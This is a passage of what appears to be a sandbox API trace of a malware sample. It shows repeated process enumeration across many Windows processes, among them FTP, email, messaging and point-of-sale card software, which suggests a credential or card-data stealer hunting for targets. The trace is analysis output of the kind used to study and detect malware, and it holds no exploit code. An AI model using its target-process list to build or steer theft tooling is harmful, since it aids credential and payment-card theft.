dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0268.716] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0268.718] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0268.719] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0268.721] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0268.723] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0268.724] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0268.771] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0268.773] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0268.775] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0268.777] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0268.779] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0268.782] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0268.783] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0268.785] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0268.787] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0268.789] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0268.791] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0268.793] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0268.795] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0268.797] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0268.799] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0268.801] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0268.803] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0268.805] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0268.850] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0268.852] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0268.853] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0268.855] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0268.856] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0268.859] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0268.861] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0268.864] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0268.865] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0268.867] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0268.869] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0268.871] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0268.872] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0268.874] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0268.875] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0268.877] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0268.878] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0268.880] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0268.882] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0268.883] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0268.885] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0268.886] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.888] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0268.889] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0268.890] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0268.892] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0268.893] CloseHandle (hObject=0x344) returned 1 [0268.893] Sleep (dwMilliseconds=0x64) [0268.943] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0268.955] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.957] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.959] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.960] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.962] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.963] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.965] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.967] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.969] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.972] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.974] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.976] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.978] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.980] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.982] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.984] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.986] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.037] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.039] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.042] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.044] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0269.046] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0269.048] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.050] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.052] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0269.054] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0269.057] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0269.059] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.061] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0269.063] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0269.065] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0269.067] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0269.069] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0269.071] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0269.073] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: 